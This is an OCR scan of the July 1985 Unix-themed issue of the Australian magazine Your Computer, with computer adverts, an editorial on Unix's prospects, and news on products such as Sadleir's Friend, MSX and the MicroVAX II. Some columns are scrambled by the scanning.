
July 1985 KING YOUR MICRO WOR 

BELL LABS’ BABY 

HMedistered by Australia Post —- Publication No. NBP 4384 ISSN 0725-3931 

$2.95* 
NZ $3.50 



Forget conventional 
networking. Universe 
provides superior speed 
and security necessary in 
multiuser applications. 
Running the widest range 
of 8 and 16 bit software, it 
has the ability to network 
IBM PCs and workalikes in 
the fastest multiuser/ 
networking microcomputer 
system in the world. 

Multiuser - efficiency 
A single Universe runs up to 25 
workstations, each with any 
combination of 8 and 16 bit programs. 
Advanced AED network technology 
allows expansion to 100’s of users. 

Multitasking - productivity 
Each operator can use any four 8 and 
6 bit programs at the same time. 
Switching screens takes only a single 
keystroke. 

Networking -— flexibility 
Up to 255 MS-DOS machines. 
'BM PCs and workalikes can be linked 
into the Universe system using a high 
speed DR Net local area network. 

IBM PCs and workalikes can run 

applications written for Concurrent PC 
OS, CP/M-86 and PC-DOS, while 

naving access to all the benefits of the 
network PC users share files, records, 

printers and other network resources. 

Software - compatibility 
i Jual processor design, provides access 

i the world's largest software base via 
CP/M, MP/M and MS-DOS With 
Alls new Concurrent DCS ywu have 

© De. vi all worlds. 

DMA hard discs and the new kizh- 
speed 80286/Z80H dual processor 
CPu turnish performance necessa'y to 
handle multiple 8 and 16 bit progr=: 

Software compatibility, and 

Tough 
The Universe Is built on a 
strong square tube frame. 

Stays Cool 
No fancy operating environ- 
ment needed. Every 
Universe is tested at 42 
degrees C. 

Flexible 
Universe accepts an 
extensive range of terminals, 
printers, modems, even 
electronic telex. 

Expandable 
20 slot shielded S100 buss. 
Obsolescence proof using 
IEEE 696 SIOO cards. 

Speed and Security - 
essential to your business 
Most networks are slow and insecure. 
Universe shines here, with full 
multilevel security enhancements 
normally found on well engineered 
minicomputers. Universe is engineered 

from the ground up to provide facilities 
essential for th > smooth running of a 
large multiuser system. 

Important Security 
features 
Encrypted login passwords. 
Users are restricted to specific 
terminals, directory areas, programs 
and nodes on the network 

File passwords. File and record 
lockout and a full password hierarchy. 
Your System Manager can quickly and 
easily configure the system so that each 
terminal only has access to tose 
facilities and data Its operator needs. 
For example: 

(J Opticn to restrict any account to 
specific programs or workstations 

Universe 
Security and speed | 

printer 

modem § a 

modem 

terminal 



Multiuser 
of a minicomputer. 
reliability of a supermicro. 
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Smart 

makes Universe operation 

of repetitive tasks. 

Fast 
High speed (8MHz) dual 
processor design (80286 
plus Z80H) with options 
for 68000, 16032 etc. 

Durable 

epoxy finish 

Capacity 
3 Winchesters plus 
removeable cartridge 
totalling up to 300 
Megabytes total storage. 

Files may be automatically dated 
for future reference. Optional 
timestamping shows both creation 
and last access. 

O Optional passwords on computers 
within a local area network. 

Operating features 
O Low cost serial terminals support 

both 16 bit (CP/M, Concurrent 
DOS, MP/M-86) and 8-bit 
(CP/M, MP/M Il) software 

O 200 character type-ahead buffer 
per terminal 

O Fast ‘hashed’ directory searches 

C1 Asecure electronic mail facility. 
Optional electronic Telex. 

O A multiuser appointment calendar 

1 Optional 8087 maths coprocessor 

O Inter-terminal communication. 
Electronic mail is here! 

[1 A programmable keys utility so 
users can redefine their keyboards 

[1 Optional telecommunications with 
remote computers via modem 

Powerful file 1/0 processor 

faster, leaving the CPU free 

Ebony glass top and acrylic 

Full Field Support 
We were the first company in Australia 
to introduce full 12 month on-site 
maintenance (now extendable to 2 
years at time of purchase). All service - 
and engineering support is carried out 
by AED directly. 

Australia wide network 
Field service is presently within 24 
hours on the east coast and within 48 

hours for country areas. 

Our network is being aggressively 
expanded. 

Inherent high reliability and modular 
construction minimize downtime and 

make service to the most remote 

locations feasible. 

Customer support 
Our very first system buyer is still a 
valued customer. We take special pride 
in supporting every existing customer 
and in providing the highest standard of 
service at every stage. As part of this 
support, the Universe is continually 
being refined in reponse to the needs 
of existing customers and Australian 
business. 

NSW: AED Computers (Sydney). Unit 3, 
Prospect Industrial Centre, 2 Stoddart Road, 
Prospect NSW 2149. Ph: (02) 636 7677. 
Telex: AA 70664 

The Computer Factory. 214 Harbord Road, 
Brookvale 2100. Ph: (02) 938 2522 

ACT: AED Computers (Canberra). 
217 Northbourne Ave, Canberra 2601 
Ph: (062) 47 3403. Telex AA 62898 

VIC: AED Computers (Melbourne). 
53 Waverley Rd., East Malvern 3145. 
Ph: (03) 211 5542 Telex AA 30624 

WAS: Computer Services of WA 465 Canning 
Highway, Como 6152. PO Box 22 Como 6152. 
Ph: (09) 450 5888 

Glover & Assoc. 



CONTENTS 

NEWS | 13 

FEATURES 29 

Unix in a Nutshell 29 

Author, Author 32 

Neology — a Local Hero... A 

The First Port of Unix. CS 
Crack a Unix Today__ LS 
Where do U get Nix?.. CG 

Programmer's Workbench 89 

POCKET PROGRAMS 79 

INSTRUCTION SET 92 

Structured Programming, Part4..... === OS 

Viatel Grapevine = i issi—“(‘“‘(‘“(R#$R$RNNCNCNNNUUUCOMG 

PCs in Marketing = LC 

REVIEWS 105 

Towards the Kaypro 2000___s tC titi(i‘(‘CCC;C;(CNIOO 

HPsintegral = «=. ss Cc lL. C tN 

Meta4 — A Database Adventure____ SCS‘ 

PUBLIC DOMAIN ___123 
IBM Underground i125 YourBBC == -.s—si389 
New Products__.______ 126 PAMS News________ 140 

Lotus Hotline. ===—s—S130) =Your i] i‘ ew CUCL 

YourlIBM.__=s—“( ‘(CdS SOCClacsifieds  =_.si“‘(g$#$’#XdséAd 43 

Your Microbee________134 Services and Ad Index 145 

Books on C and Unix__135 Next Month______———Yi146 

Your Atari __138 : 



a. " 5 ay 
CaN oak ea Ae VRE ny 

+ 

DOE, a nite uh he 

Osborne introduced the first popular 
portable computer 

The first ““bundled low-priced system’’ 
Here is the evolution of that revolution 



Working with the V! 
All you need in one neat little 
package. 

Working with the Vixen is like work- 
ing with a much bigger computer. 

Except that you can take it 
anywhere. 

(Try bringing an IBM PC home from 
the office tonight. Or putting a Macin- 
tosh™ under your airplane seat. ) 

Media Master™ makes the Vixen 
data-disk compatible with a world 
full of personal computers. If you 
already own a computer, now you 
can afford to buy a second. 

The Vixen’s CP/M® operating system 
gives you access to the huge library of 
CP/M productivity software. But if that’s 
not enough: 

Free Media Master software lets you 
transfer files between the Vixen and 
over 200 other computers, including the 
MS-DOS® format. 

Your computing capabilities just 
expanded 200 times over. 

Free productivity software: 
An Osborne tradition. 

When you buy the Vixen, the price 
includes software tools for writing, for 
creating spreadsheets, custom pro- 
gramming, graphics and just plain 
having fun. 

You get WordStar, MailMerge,® 
SuperCalc 2,™ MBasic, ™ Osboard, ™ 
Desolation, Media Master and TurnKey. 
Free. : 

(Try asking your IBM or Apple dealer 
to throw in nine free software packages 
with a system! ) 

Designed to endure. 
Like all well-designed tools, the 

Vixen is built to last. 
And like all classics, it will outper- 

form the short-term solutions. 
Here it is: Portable, powerful, reli- 

able and data-compatible. 
If you liked Osborne computers 

before, you will absolutely, positively, 
love the Vixen. 

TUP SHIPS) LEVEL HISTORE 2UP .. SHIPS. LEVEL 
Obe22 a é aogag =f § $792 

RECREATE with Desolation, the armchair 
adventure game that puts you in the pilot’s seat 
of a space-age helicopter. 

CREATE custom programs in MBasic, the stan- 
dard in BASIC languages. Develop your own 
software for a variety of applications. Let your 
imagination and ingenuity expand your com- 

puting horizons. 

ANNUAL SALES TOTALS 
£21008 %s) 

1978 Retail 12534, 06 
Wholesale 4326.08 

i978 Retais 
Wholesaie 

1988 Retail 
Wholesaie 

1981 Retail 10008.00 i 
Wholesale 4356 68 

GENERATE business graphics with Osboard 
Enhance your reports and proposals with 
charts, graphs and other visual aides on screen 

on paper or on presentation slides. 
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WRITE and edit everything from business corre- 
spondence to the Great American Novel with 
WordsStar, the world’s best selling word process- 
ing package. The Vixen was made for WordStar. 

No other computer runs it as quickly or neatly. 
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Simply put, the Vixen is a better way to 

write. 

If you spend any amount of time writing 
you'll understand the value of Vixen’s full- 
sized business keyboard. Its amazingly 
sensitive keystroke response — with 255- 
character type-ahead capability — will have 
you wanting to write all day. 

You can, because the Vixen’s crisp, clear 

amber display characters are easier to read 
than those of much larger desktop 
computers. 

No computer is more suited to running 
WordStar. 

You get immediate response to WordStar 
commands. Faster text manipulation. Faster 
file saving. You can program your function 
keys to set up automatic margins, line 
spacing and other elements you use most 
often. And you can store up to 100 typed 
pages on each diskette. 

1102.58 1157.83 121g 54 
525. 4 : 
55.5 

£59.08 

CALCULATE with SuperCalc 2, a terrific elec- 
tronic spreadsheet. Youll find no end to the uses 
of this invaluable budgeting and scheduling 
management tool. 
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Of course, WordStar gives you automatic 
carriage returns and word-breaks at the end 
of each line. And automatic footnotes, 
page breaks and page numbers. Plus the 
ability to rearrange words, sentences, 
paragraphs, pages or entire documents. 

In short, you get all the functionality of 
a word processor — at a fraction of the 
cost. 

And this powerful writing tool goes 
anywhere your writing takes you. 

There is nothing more ideal for 
manuscripts, reports, screenplays, term 

papers — you name it. 
Suddenly, you can focus on the 

words you’re writing, instead of the 
mechanics of writing them. 

AVAILABLE AT OSBORNE 
DEALERS AUSTRALIA WIDE — 
Call for the name of your 
nearest dealer. 
With the famous Osborne 
6 months Full Warranty Australia wide. 

“ll 



The powerful portable in a class by itself. 
Standard hardware: 

© Z80A 4MHz CPU with 64K RAM. 

¢ Dual double-sided, double-density half- 

height disk drives, 400Kb each, for storing 

up to 100 typed pages. 

e7 inch diagonal amber monitor. 

e §0-column, 24-line display with 8 x 10 dot 

characters for easy viewing. 

¢ Full sized business keyboard with cursor 

keys. 

© RS-232 serial port for printer or modem. 

¢ Parallel centronics printer interface. 

¢ Interface for external monitor hookup. 

© Weather-resistant portable housing. 

¢ Operates on International and American 

voltages. 

e Just 12% by 16% by 6% inches. 

¢ Optional external 1OMb hard disk with 

carrying case available. 

e With the famous Osborne 6 months full 

warranty Australia wide. 

Tra 

Microsoft Corporation; Media Master-—=MDG & Associates. 

All in one neat little package. Take it away. 

Standard software: 

¢ CP/M® operating system. 

e Wordstar,” the world’s best selling word 

processing package, with MailMerge,® for 

enhanced printing capabilities. 

© SuperCal 2,'” the powerful electronic 

spreadsheet. 

¢ MBasic,'™ the popular programming 

language. 

© Osboard,'™ the electronic drawing board 

for business graphics. 

e TurnKey, to automatically start pro- 

grams, configure the system and accelerate 

all your computing. 

© MediaMaster,'™ to exchange data disk- 

ettes between the Vixen and over 200 other 

computers. 

© Desolation, the wholly distracting video 

adventure game. 3 

Plus complete, simple instructions for all 

hardware and software. 

narks’ Vinen— Osborne Computer Corporation; Macintosh—Apple Computer, Inv.; SuperCale 2—Sorcim/IUS Micro Software; MBasic— 

Revitered Prademarks: Apple-—Apple Computer, [ie.. IBM—International Business Machines; CP/M—Digital Research Ine; MS-DOS— 

Microsott Corporation, WordStar MailMerge-—MicroPro International Corporation. 
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When you can't 
afiord mistakes. 

There really is a difference 
in diskette brands. 

It’s in the way they are 
made. 

Because the computer 
industry cannot afford 
variation in the quality of 
diskettes, at Nashua we 
looked for, and founda 
way to ensure absolute 
consistency. 

Here’s how we do it. 
Quality Circles. 

At Nashua we've found 
the best way to attain this 
‘consistency’ is to ensure 
that at each stage of 
production our diskettes 

are Statistically checked to 
make sure the quality is 
‘built-in’ every step of the 
way. 

Rather than long 
production lines, we have 
‘Quality Circles’ — small 
groups of people whose job 
it is to make sure that each 
Nashua diskette is right in 
the first place. 

The result is a diskette 
with such consistency, that 
it is chosen by those people 
who can’t afford mistakes. 

Phone Sydney 958 2044, 
Canberra 47 O511, 
Melbourne 428 0501, 
Brisbane 369 4244, 
Adelaide 42 0021, Perth 
328 1888, Darwin 816204, 
Auckland 2784299, 
Christchurch/Dunedin 

Whitcoulls Ltd, PNG 

256766. 

There really is a difference. 
Ruwald & Skinner 402 NA/A 
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EDITORIAL 

Uni — 

Where next? 

e've been talking about Unix 
for years. When we started 
Your Computer, one of the first 
topics we addressed was Unix. 

Should we have a regular Unix column? 
Would Unix catch on? We sat around the 
table on a Sunday afternoon mulling over 
these points. 

We decided against any immediate 
large-scale coverage of Unix at that stage. 
After all, it was available only on a few 
microcomputers, and it was terribly arcane 
and very much the preserve of a few cog- 
noscenti — mostly in academia. 

So we decided to wait a while, until Unix 
began to really take off. 

We're still waiting. 
While this issue’s theme is the Unix 

Operating System, it is not in the expecta- 

tion that Unix is going to take off this year. 
It is, rather, in the belief that this is the year 
of ‘Now or Never’ for Unix. Let me explain. 

Unix is a minicomputer operating sys- 

tem and bears little resemblance to per- 
sonal computer software. It can be tricky to 

utilise, and is unlikely to be mastered by 
the casual user. In fact, it is only the ‘power 
user, the user who really explores the 
machine and is likely to run a supermicro, 
who is likely to discover the benefits of the 
Unix system. 

Cover illustration by Brendan Akhurst. 

Supermicros are selling pretty well, but 
they now face stiff opposition from net- 
works of personal computers. There are 
compelling arguments that say networks 
(particularly many of the PC networks cur- 
rently on the market) are not the way to go, 
but people seem to want them, so, for the 
moment, that’s what they're likely to get. 

Faced with the super-friendly user inter- 
face and networking capabilities of PCs, 
will Unix catch on? It seems to me the 
answer most probably will be yes. | think it 
deserves to succeed - as do many other 
good and useful products — but | have 
seen good products fail before, due to poor 
marketing or ‘fashions’ in the marketplace. 

Unix can be adapted to serve the needs 
of a single user on a workstation, as Hew- 
lett-Packard has proved with the Integral 
portable — see our review in this issue. It 
can handle networking well — witness the 
extent of the uucp network in the US, as 
well as Unix local area network protocols 
like TCP/IP. And since PCs will require the 
support of larger systems in networks, Unix 

is ideally placed to fulfil that role. 
So, will Unix take the world by storm this 

year? Read on, and form your own conclu- 
SIONS ... 

LES BELL 

a 



AMIC Corporate Membership -— 
The businesslike way 

to stay ahead of the computer 

66 Qur company was attracted to 
AMIC’s Corporate Membership 
Plan because it provides supplier 
independent access to up-to-date 
equipment, and excellent training 

and advisory resources, at 

reasonable rates. 

We couldn't justify maintaining 
this level of knowledge and 
equipment in-house, given the 
rapid pace of change in the 
hardware and software market 
place.?? 

John Clark 
Business Systems 
Development Manager 
David Syme & Co Ltd 

A growing number of companies 

and organisations are enjoying the 
benefits of AMIC Corporate 
Membership. 

It provides them with year-round 
access to the most comprehensive 
collection of microcomputer 
hardware and software ever 
assembled in Australia. And it 
provides a package of cost-saving 
benefits covering AMIC’s complete 
range of facilities and services. 

Ask for our free illustrated 
brochure containing full details of 
the AMIC Corporate Membership 
Plan by writing to: The Manager, 
AMIC, 449 Swanston Street, 
Melbourne, 3000 or phone 

(03) 663 6775. 

AMIC 
AT RMIT 
AUSTRALIAN 
MICROCOMPUTER 
INDUSTRY 
CLEARINGHOUSE 

ARM 21468 



Friend for Unix 

What sort of product can drag well over 
100 journalists and industry figures from 
their beds to arrive at the Sydney Hilton 
at the outrageous hour of 7.15 am? 
Seemingly, the promise of a locally 
developed ‘fifth-generation language’ is 
enough to accomplish the feat, and 
Western Australian company Sadleir 
Research did just that during the recent 
Unix World Expo. 
KIM SADLEIR calls it ‘the most significant software product ever to 
come out of Australia”. Sounds like the biased voice of a parent 
speaking, but it seems many people would like to believe the claims 
made for Sadleir Computer Research's Friend. 

For a long time manufacturers of various fourth-generation lan- 
guages (4GLs) have been promising the solution to all our woes — 
easily modified, comprehensive packages using plain English com- 
mands which even a general manager can learn with a minimum of effort. 
Rarely, if ever, are such promises fulfilled, but this doesn’t stop people 
from hoping that ‘maybe this time’ they'll find their dream system. 
Surely if Sadleir are calling Friend a ‘fifth-generation language’ it must 
at least offer the promised functions of fourth-generation packages. 

Unix’s Perfect Match? 
Cutting through the hype, Friend certainly sounds interesting. It is an 
interface for the Unix operating system, addressing the areas in which 
Unix is notoriously lacking: Unix is known as a user-hostile system 
which is difficult to learn and which has been designed as an open 
system with no fixed form of data access (a database). 

Kim Sadleir is banking on Unix becoming the operating system of the 
future, and Friend has been designed to ‘complete’ Unix by providing 
an easy-to-use system which functions as the hub of a user's data 
processing needs. 

The system combines database, graphics, a ready-made accounting 
package, statistical analysis, concurrent capabilities, programming in 
English, ad hoc enquiries and reports, basic word processing, the ability 
to import and export data easily from other sources and an applica- 
tions generator. A consistent user interface is maintained across the 
system and, of course, it utilises the multi-user/multi-tasking capabili- 
ties of Unix. 

Patentable Design Techniques 
None of this is particularly revolutionary in itself. What is new is 
Friend's combination of compactness, flexibility and ease of use over a 
wide range of processing tasks. The whole system occupies only 120 
Kbytes of memory, due to the use of recursive data definition; Friend 
constantly re-uses parts of itself, leaving more workspace in the com- 
puter. The other two key design features of the system are so innovative 
Sadleir has patents pending on them. They are the Verb Conjunction 
Matrix (VCM) and Hexadirectional Program Flow (HPF). 

The VCM defines the elements of the Friend programming language. 
The language consists of 15 commands and nine conjunctions, and 
programs written in it are remarkably compact (usually not more than a 

NEwS 

few lines long). HPF is a feature which allows the operator to move 
backwards and forwards within a file, select more or less detail, and 
move backwards and forwards within a program. Using this feature it is 
possible to interrupt work within the current program window, jump to 
another process and then restart processing. 

Sadleir Research claims Friend can cut program development time 
by a factor of 10 and, using the the programming-by-menus facility and 
the application development program, it is relatively easy for non- 
programmers to develop and modify complex data processing proce- 
dures and systems. 

The Hump of the Camel 
The big question with Friend is “Will Unix become the standard operat- 
ing system?” Kim Sadleir is sure it will, at least for a very large segment 
of users: “We're aiming for the hump of the camel,” he says. “While 
mainframes look after the head — the information needs of manage- 
ment — and personal computers look after the tail of the camel — 
individual workers — 90 per cent of knowledge workers, the camel's 
hump, are not being catered to. Unix-based multi-user systems are the 
obvious economic choice for this market.” 

Sadleir Research appears set to launch a very aggressive advertising 
campaign for Friend, including raising $5 million through public share- 
holdings to fund the marketing programme. If Unix does take off in the 
way Sadleir and others expect, and Friend delivers what it promises, 
then it may indeed become what Kim Sadleir hopes — “The standard 
user interface for computers in the future.” O 

sages and make appointment 
times to review the latest compu- 

INDEPENDENT 

SCHOOLS SET UP ter software. 
Somewhat like a local Viatel, 

NETWORK the central board system oper- 
ates using three BBC micro- 

computers and an 85 Mbyte hard 
disk drive specially developed 

The Independent Schools Board 
of South Australia has estab- 
lished an information network to 
link all independent schools in 
the state. 

Using their individual school 
systems, teachers and adminis- 
trators can call into the board 
each day, leave and receive mes- 

and manufactured in Australia by 
Barson Computers. The system 
runs ona small Econet hooked to 
the hard drive, which is the 
largest-capacity unit yet built in 
Australia for BBC systems. 

Each school is equipped witha > 
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modem attached to the computer 
system. According to the board’s 
Research Officer, Mr Dale Martin, 
15 schools already have the mod- 
em installed. “The main system 
usage is at present by teachers in 
the computer area, but we expect 
this to change with headmasters, 
administration staff and the 
heads of other departments be- 
coming quite heavy users of the 
system. In future, we see it greatly 
reducing both the time and costs 
associated with information dis- 
semination.” 

A large library of public domain 
software for the BBC, with both 
Z80- and 6502-based programs, is 
being installed. In addition, the 
board is developing a library of 
software written by the participat- 
ing schools. 

The system software was de- 
veloped by a local computer sci- 
ence teacher, Mr Jeff Davis, of 
Westminster School. The Nation- 
al Computer Education Program 
provided part of the funds to get 
the system up and running. O 

FLAT SCREEN 
ADVANCES 

Matsushita has developed a flat 
colour panel suitable as a display 
in New Media equipment. The 

panel has been used by Mat- 
sushita to develop a prototype of 
a remarkable-looking flat colour 
television, with a 25.4 cm diagon- 
al screen and a depth of 9.9 cm. 

The panel features a square, 
completely flat screen which re- 
produces distortion-free images 
throughout the entire display 
area, making it ideal for applica- 
tions where space efficiency is 
crucial. New Media consists of 
several new electronic services, 
including teletext, videotex, 
direct broadcast satellite, high- 
definition TV and cable TV. 

The panel was developed using 
Matsushita's Matrix Drive and 
Deflection System. The panel's 
screen consists of 3000 picture 
cells arranged in a matrix — 200 
units horizontally and 15 vertical- 

CROMEMCO 
is unique with 

UNIX" 
Cromemco systems are 
designed to make UNIX 

system V even better Join 
the UNIX revolution by 

telephoning 

(02) 9576800 
UNIX 1S a trademark of AT&T Bell Laboratories 
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ly. Each picture cell is scanned by 
one electron beam which excites 
phosphor stripes. The use of a 
microcomputer for fine adjust- 
ment of the diameter and posi- 
tion of the beams on the screen 
results in uniform brightness and 
high colour reproduction. 

Signal processing and driving 
are performed digitally in the sys- 
tem. Picture brightness is con- 
trolled by varying the pulse width 

which drives electron beams; col- 
our reproduction is performed by 
digitising the picture signal and 
alternately driving red, green and 
blue signals. Resolution is 
markedly improved by sampling 
each for different lengths of time. 

The colour television prototype 
has been on display at Matsushi- 
ta's stand at Expo ‘85. No Austra- 
lian release date has been 
announced. O 

COMMUNICATIONS CONFERENCE 

Communications ‘85, also 
known as the Australian Interna- 
tional Electronic Communica- 
tions and Information Technolo- 
gy Exhibition, will be staged at 
Sydney's Centrepoint from Au- 
gust 6 to 9 this year. 

Telecom's recent entry into the 
personal computer market, 
AT&T's involvement with Olivetti, 
Ericsson's move from telecom- 
munications into microcompu- 

ters and IBM's acquisition of the 
Rolm Corporation have highlight- 
ed the trend to integrate compu- 
ters and communications, a trend 
which will be reflected in the 
focus of Communications ‘85. 

On show at the exhibition will 
be an extensive range of equip- 
ment including facsimile, paging 
and PABX systems, computers 
local area networks, videotex and 
teleconferencing. The show is 
oriented toward communications 

specialists who work in areas de- 
pendent on the latest com- 
munications technology, such as 
the defence forces, transport and 

navigation control authorities, 
and radio and TV. There will also 
be a series of tutorials designed 
for the business user, providing 
explanations of the latest tech- 
nology in non-technical terms. 

Further details on the show can 
be obtained from: Noel Gray, Au- 
stralian Exhibition Services, Suite 
3.3 Illoura Plaza, 424 St Kilda 
Road, Melbourne 3004; (03) 267 
4500. LJ 

SYNERGISTIC BEER 
DRINKING 

Don't forget to join us for our reg- 
ular synergistic beer drinking ses- 
sions — every first Wednesday of 
the month at the Clock Hotel, 470 
Crown Street, Surry Hills, Sydney. 
This is your chance to tell us what 
you love or hate (how could you?) 
about the magazine, and swap 
the latest news and rumours. No 
formality — just turn up at about 
six in the evening. See you there. 

C 



MSX — MiSsSILE 
OR SQUIB? 

MSX has finally surfaced in Au- 
stralia. The system Microsoft and 
a number of Japanese manufac- 
turers hope will become the in- 
dustry standard for home compu- 
ters has made it to our shores, 
with three companics displaying 
their offerings at a recent launch 

MSX is certainly a good con 

cept. Until this time compatibility 
between home computers has 
been almost non-existent even 
among different computers pro 
duced by the same manufacturer 
MSX offers hardware and soft 
ware compatibility between any 
machines made to the MSX spe- 
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with a 39-column by 24-line 
screen. When the big American 
companies finally get to market 
with their new offerings, MSX will 
definitely start to look like the old 
generation. 

However, some local software 
houses have already started mov- 
ing MSX software, and Toshiba, 
Mitsubishi and Sony have laun- 
ched their machines onto the 
market here. Time will tell 
whether the potential of the MSX 
concept converts into a viable 
home computer standard. 

As a footnote: the most im- 
pressive MSX machine available 
in Australia is Yamaha's CX5M, 
which is not being marketed as a 
standard computer at all. Instead, 
Yamaha has developed the sys- 

cification. This means you should isa notonously nsky arena Ithas — is left for games machines in the | tem as a musical computer, com- 
be able to buy aSanyo computer, been the praveyard fora number Australian market. plete with MIDI (musical instru- 
a Toshiba printer and a Hitachi oof teh Ulytne companies, with MSX is also based on outdated ment digital interface), composi- 
disk drive and have them all play = even IBM ectting burned with its technology. While AtariandCom- tion and synthesiser software and 
together without any fuss. PC jnt The MX software availe modore are pushing towards 32- optional keyboard. For anyone in- 

MSX in practice might not be — able so tar appeat. to be heavily — bit-based systems with Mac-like terested in computing and music. 
quite the goer it sounds. Forone = games oriented, and it willbe in- — interfaces. MSX is built around the CX5M is worth a look. O 
thing, the home computer market teresting to see how much room — the 8-bit Z80A microprocessor, 

Computer breakdown? Take it 
to Hills and save 25% on repairs 

LA 
Your micro computer was made to rel oledede SO when 

a breakdown occurs, take it to your Hills Computer Service 
drive-in workshop. You get fast expert service and save 
around 25% of the service labour cost. We also carry a large 
range of parts and are service agents for Sharp, Hitachi, 
Osborne, Kaypro, Challenger, President and Commodore. 
Because Hills have a service workshop in every mainland 
capital, no time is lost sending your unit interstate. 

Hills service contracts protect you from costly 
breakdown. 

Workshop Service and Field Service contracts are available 
for business computers which include a free preventative 
maintenance service call. We also give a 20% No Claim 
Bonus, and extra discounts for more than one computer. .\ 

me mG 

w LLY COMPUTER SERVICE DRIVE-IN \XW/ORKSHOP 
; VIC NSW QLD SA WA Hills Industries. 

148 Miller Rd, 115 Merivale St, 7 Ackland St, 506 Guildford Rd., 407 Plenty Rd, 
Villawood 2163. Sth Brisbane 4101. Edwardstown 5039. Bayswater 6053. Preston 3072. 
Ph: 645 2355 Ph: 44 0180 Ph: 297 9040 Pa cle 33 Ph: 470 5430 
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VAX ON A CHIP — ALMOST 

Digital has announced a low-end 
VAX (or a high-end supermicro, 
depending on your perspective), 
built around a 32-bit processor 
which delivers 90 per cent of the 
power of a VAX-1 1/780. The Mic- 
roVAX II end-user systems will be 
available for delivery in July/Au- 
gust, and they'll range in price 
from under $44,000 for an entry- 
level single-user network work- 
station to around $101,000 for a 
system capable of supporting up 
to 24 users. 

The MicroVAX II will be the 
baby of the VAX family. One of the 
most significant features of Digit- 
al's computers is the mainte- 
nance of software compatibility 
throughout the range. This means 
there is an enormous amount of 
software ready to run on the new 
machine. 

Digital has plans to manufac- 
ture 60,000 MicroVAX units in the 
first year of production, with the 

Australian division shooting for 
first-year sales of 1000 units. Con- 
sidering there are currently only 
about 850 VAXs in Australia, 
Digital is obviously regarding the 
MicroVAX II as almost an off-the- 
shelf stock item. 

Further announcements by 
Digital include a 95 Mbyte 
streaming cartridge tape drive 
(claimed to be the industry's 
largest such drive), a high- 
performance technical graphics 
workstation (VAXstation II) and a 
compact disk reader. 

The CDReader is a laser disk 
reader which will retail for about 
$4000. It uses technology de- 
veloped jointly by Sony and Phi- 
lips to record information on the 

disks. Disk capacity is 600 Mbytes, 
and the disks will be read-only. 
Getting data onto such disks is a 
complex task, and Digital will be 
using Sony and/or Philips to re- 
cord the data. 

UNIX" 
and 

CROMEMCO 
A 32 bit supermicrocomputer 
systems partnership enjoyed in 
Australia by large corporations, 
small business, Government 
departments and Universities. 

There are over 50.000 Cromemco 
systems worldwide. Join the UNIX 

revolution by telephoning 

(02) 957 6800 
UNIX is a trademark of AT&T Bell Laboratories. 
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Digital plans to use the mas- 
sive storage capacity provided by 
storing all its programs on one 
disk; purchasers of a particular 
application will be given an en- 
cryption key to access that prog- 

DEC's new MicroVAX II, featuring the ‘VAX on a chip’. 

ram, while being denied access to 
others. 

A week after Digital made its 
announcement about the Micro- 
VAX II, Altos Computer Systems 
announced its challenger in the > 



INTRODUCING IBM 
Compatible Hi-Res Monitors 

from QUBIE 
The HR 39 and HR 134 Monochrome Monitors are direct replacements for the IBM Model 5151 Monochrome 
Display. The HR 39 features a GREEN phosphor screen, while the HR 134 an AMBER screen. Both monitors plug 

into the IBM Monochrome Display and Printer Adaptor (or compatible) card. 

The HR31 200 Colour Monitor is a direct replacement for the IBM Colour Display. It plugs into the IBM 
Colour/Graphics Adaptor (or compatible) card. The HR31 200 features 0.31mm dot pitch and a black matrix picture 

tube. This special tube reduces glare and enhances RGB colour to ensure superb picture quality. 

Al three monitors include a tilt and swivel base. Use your Qubie’ monitor as you would the IBM ; it will in no way 
- affect the normal use or function of your Personal Computer. 

Technical Data - HR31 200 
14” Diagonal (34cm) 
Black Matrix 

‘Technical Data - HR 39 & HR 134 
CRT Size: — 12” Diagonal (29cm) 
Phosphor: HR 39 (Green); HR 134 (Amber) 
Sync-H. Scan Frequency: 18.432kHz 

V. Scan Peeaeecy: 50/60Hz 
Signal Input: Video - TIL Level Positive 

Sync. H - TIL Level Positive 
Sync. V - TIL Level Negative 

Video Response: 20MHz 
Display Size (H x V): 203mm x 135mm 
Display Time (H x V): 44Ms x 18.99msec 
Resolution: Centre 1,000 lines 

Corner 800 lines 
Display Formats: 9 x 14 matrix, 2000 characters in 

80 x 25 format 
Input Terminals: 9 pin “D” type connector 
Dimensions: 10.5"(H) x 15’(W) x 12"(D) 

Models HR 39 & HR 134 257(H) x 367(W) x 294(D)mm 
Shipping Weight: 11.36kg 

(All models Right-hand controls only.) All models: 240V AC/SOHz 

DEALER ENQUIRIES: Oo UB | | =a 

9/62 Blackshaw Avenue, Mortdale, 2223 - Phone: (02) 579 3322 

America’s leading distributor of IBM PC accessories is 
now supplying your IBM dealer locally. . . 

Also available: IBM key boards, multifunction memory boards and modems. 

IBM is a registered trademark of the International Business Machines Corporation 



GompuSHack 
For IBM ++ Compatibles 

INTEGRATED ACCOUNTING 
WITH LOTUS 17,2,3 

erevoreretet 

CPA+ 
General Ledger 
Accounts Payable 
Accounts Receivable 
Payroll 
includes Tutorial 
Only $695 complete, why spend 
thousands: 
CPA+ + Lotus 1,2,3 = total 
financial control 

"Rabe A EE 
fe B WE VIVE e258 he 

For Apple Specials’ 
Wordstar/Starcard 
includes Z-80, com, 6.5MHz $225 
wordstar 3.3 

Business set/Starcard 
includes Z-80, CPM,65MHz $395 
Wordstar, Mailmerge, 
Spellstar, Infostar, 
Calcstar. 

Infostar 
the database on CPM $175 
Calcstar $79 
the spreadsheet CPM 

Flight Simulator II $69 
Micro Softcard $369 
Dollars + Sense $119 

FOR IBM 
Everex 10 megabyte $1495 
hard disk inc controller 

Tava PC inc 256K, colour $2995 
2 drives, parallel, serial, 
1 yr warranty 

10 megabyte tape $1995 
stream back-up (internal 
-slimline) 

10 megabyte removable $2995 
hard disk (internal- 
slimline) 

40 megabyte hard disk $2995 
inc controller 

Multimate the $499 
wordprocessor 

Lotus 1,2,3 $595 

Infostar $175 

Calcstar $79 

Available from Compushack, 1/303 Pacific Highway, Lindfield NSW 
lf you wish to order these products — Mail order is handled by Micromail on 02-4671933 
(B/C, M/C, Visa, Amex). These products are available in limited quantity. 
Prices subject to change without notice. 



supermicro stakes, the 2086. This 
machine is based on Intel's 80286 
processor running at 8 MHz. The 
central processor is relieved of in- 
put/output tasks and com- 
munications through the use of 
associated Intel 8086 processors. 

The base configuration of the 
Altos 2086 will include 1 Mbyte of 
main memory, a 40 or 80 Mbyte 
disk drive, a 1.2 Mbyte floppy disk 
drive, a 60 Mbyte streaming tape 
drive and an Altos III terminal. 
This basic system can be ex- 
